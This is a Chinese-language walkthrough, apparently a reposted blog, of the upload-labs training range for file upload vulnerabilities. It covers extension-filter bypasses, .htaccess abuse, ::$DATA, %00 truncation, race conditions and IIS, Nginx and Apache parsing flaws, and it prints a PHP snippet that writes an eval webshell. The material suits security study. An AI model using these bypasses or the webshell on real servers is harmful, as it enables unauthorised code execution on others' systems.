upload-labs


 upload-labs是一個和sqli-labs類似的靶場平台,只不過是一個專門學習文件上傳的。整理的很好,雖然並不能將服務器解析漏洞考慮進去,但畢竟一個靶場不可能多個web容器吧,關鍵是思路很重要,github地址:https://github.com/c0ny1/upload-labs

感覺這個思路圖做的很好,測試的時候大體流程可以按照這個來,同時將服務器特性以及中間件的解析漏洞考慮進去就差不多了。

 

開始做題,同時看下后台的實現代碼對代碼審計也很有幫助的。

第一關是一個前端校驗,第二關是服務器端對content-type的一個判斷,由於個人習慣,我一般都是在本地寫一個一句話木馬后文件名改為jpg之類的,直接上傳(這個時候content-type是圖片格式),抓包將文件名后最改為.php腳本后綴,所有能通過繞過這兩關。

第三關是服務器端對文件后綴的黑名單校驗(后面的關卡中不特殊說明默認都是服務器端校驗)。先看下代碼:

 

采用的黑名單,php的話有時候(配置的原因)php、php3、php4、php5、phtml、pht這些后綴也是可以被解析的,其他語音也有類似的情況,需要嘗試:

由於我這里使用的是phpstudy+windows,所以復現不了(由於配置原因是解析不了php3等等這些后綴的)。

第四關:上傳php文件顯示不合法,然后上傳了個aaa后綴的可以,說明還是使用的黑名單。看下源碼可以發現基本上將所有非法的腳本后綴就禁用了

 

 

但是沒有禁用.htaccess,可以通過上傳.htaccess文件然后將該文件夾下的所有例如.jgp的文件都按照腳本語言解析,詳細信息可以問度娘,上傳如下內容的.htaccess文件

意思是將該文件夾下的one.jpg文件按照php格式去解析,然后再上傳一個文件名是one.jpg內容是一句話木馬的文件,然后訪問,可以執行代碼。

 

第五關:將.htaccess后綴也禁止了,但是相比第四關,沒有將文件后綴置換成小寫,所有可以通過大小寫繞過

 

 第六關:依然是黑名單,但這次程序沒有對文件后綴去空(其實如果程序沒有對文件進行重命名的話,可以借one.php .jpg繞過白名單的)

上傳一個php文件,抓包將文件名后綴加上空格,如下圖

可以發現windows下保持文件時會自動將空格去除

 

 第七關和第六關類似,利用windows特性,會自動去掉后綴名中最后的”.”,可在后綴名中加”.”繞過,所以

 

這里訪問的時候是可以不要.的,存在windows下的時候也是沒有.的

 

第八關;老實說第八關這個繞過方式我之前是不知道的,就是在php+windows的情況下:如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名。

 

 可以看到在服務器中保存的文件還是以php結尾的,訪問該文件即可。具體原理參考這篇文章(https://xz.aliyun.com/t/2539)

第九關:這關算是一個邏輯漏洞吧

程序先是去除文件名前后的空格,再去除文件名最后所有的.,再通過strrchar來尋找.來確認文件名的后綴,但是最后保存文件的時候沒有重命名而使用的原始的文件名,導致可以利用類似one.php. .(兩個點號之間有一個空格)繞過,如果重名名了文件的話應該會用$file_ext來進行拼湊文件,這樣保存在服務器中的文件將沒有后綴(去除了.空格)

 

第十關:

看代碼可以發現程序將所有腳本后綴名都替換為空了,但是可以利用.phphpp這樣,去除中間的php后再一次組成了.php。

 

第十一關:白名單校驗

這關考驗的是一個00截斷的漏洞,當有php環境中有兩個截斷條件: 1.php版本小於5.3.4 詳情關注CVE-2006-7243 2.php的magic_quotes_gpc為OFF狀態

給請求中會自動將%00進行url解碼,在后台進行拼湊的時候會自動階段后面的字符串

 

於是存在服務器中的文件是這樣的

 

第十二關:也是00截斷,只不過由於文件路徑這個參數是通過post請求發送的,需要抓包后再hex中修改

 

第十三、十四關、十五關、十六關:

都是利用copy one.jpg /b + one.php /a one.jpg 制作圖片馬后上傳,再結合文件包含漏洞使用,沒什么好說的。

十三關是對比文件的前兩個字節

十四關是用了getimagesize函數來對文件類型做判斷

十五關是用的exif_imagetype函數

十六關是用的二次渲染

 

第十七關:

可以看到並沒有對文件名的后綴做任何校驗,但是上傳后會改名並馬上刪除該文件,需要用到並發漏洞(網上都喜歡叫條件競爭)。可以正常上傳php文件,抓包后放入intruder模塊中選擇發送多次,然后在瀏覽器中訪問就好了,在就算程序會對文件名改名也沒關系的,直接訪問原文件名就好了(one.php)

 

第十八關:

也是考驗競爭條件的問題,由於程序對文件后綴做了白名單校驗,所以只能是上傳圖片木馬然后用文件包含。

 

第十九關:

利用CVE-2015-2348這個漏洞也是00截斷的問題,由於也是需要在低版本的php中就不演示了

 

------------------------------------------------------------------2019.2.27  補充 -------------------------------------------------------------

php中的%00截斷    PHP<5.3.29,且GPC關閉  兩個條件缺一不可

但當%00截斷不能用時,也可以使用zip協議  參考文章https://www.cnblogs.com/milantgh/p/5293628.html   我有時間再補上實例吧

 

最后我再自己補上各中間件的解析漏洞吧

iis5.x   iis6.0

1. 如果能創建文件夾的話,創建xx.asp文件夾,那么該文件夾下的所有文件都會按asp格式去解析,在該文件夾下上傳evil.jpg  訪問www.xxx.com/xx.asp/evil.jpg  執行代碼

2. 直接上傳evil.asp;.jpg文件繞過黑白名單校驗,訪問www.xxx.com/evil.asp;.jpg時iis會按照asp文件去解析

IIS 5.x/6.0在從文件路徑中讀取文件后綴時,遇到一個“.”后,便進入了一種截斷狀態,在該狀態下遇到特殊符號——“/”和“;”,都會進行截斷,只保留特殊符號前的部分,即:“.asp”,從而認為文件后綴為“.asp”。

 

IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞:

在默認Fast-CGI開啟狀況下,黑闊上傳一個名字為evil.jpg,內容為     <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>    的文件,

然后訪問evil.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php

要驗證是否有漏洞很簡單,只需訪問分別訪問robots.txt和robots.txt/1.php就可以了,前者返回正常后者返回不正常說明有漏洞。

 

Nginx <8.03 空字節代碼執行漏洞      影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在圖片中嵌入PHP代碼然后通過訪問   evil.jpg%00.php      來執行其中的代碼

 

Apache解析漏洞  :

Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.   比如 evil.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php.

如何判斷是不是合法的后綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個evil.php.rara.jpg.png…(把你知道的常見后綴都寫上…)去測試是否是合法后綴

 

 

------------------------再補上一種特殊情況--------------

雙文件並發上傳

 

 

 

另附一篇不錯的文章 https://www.cnblogs.com/shellr00t/p/6426945.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM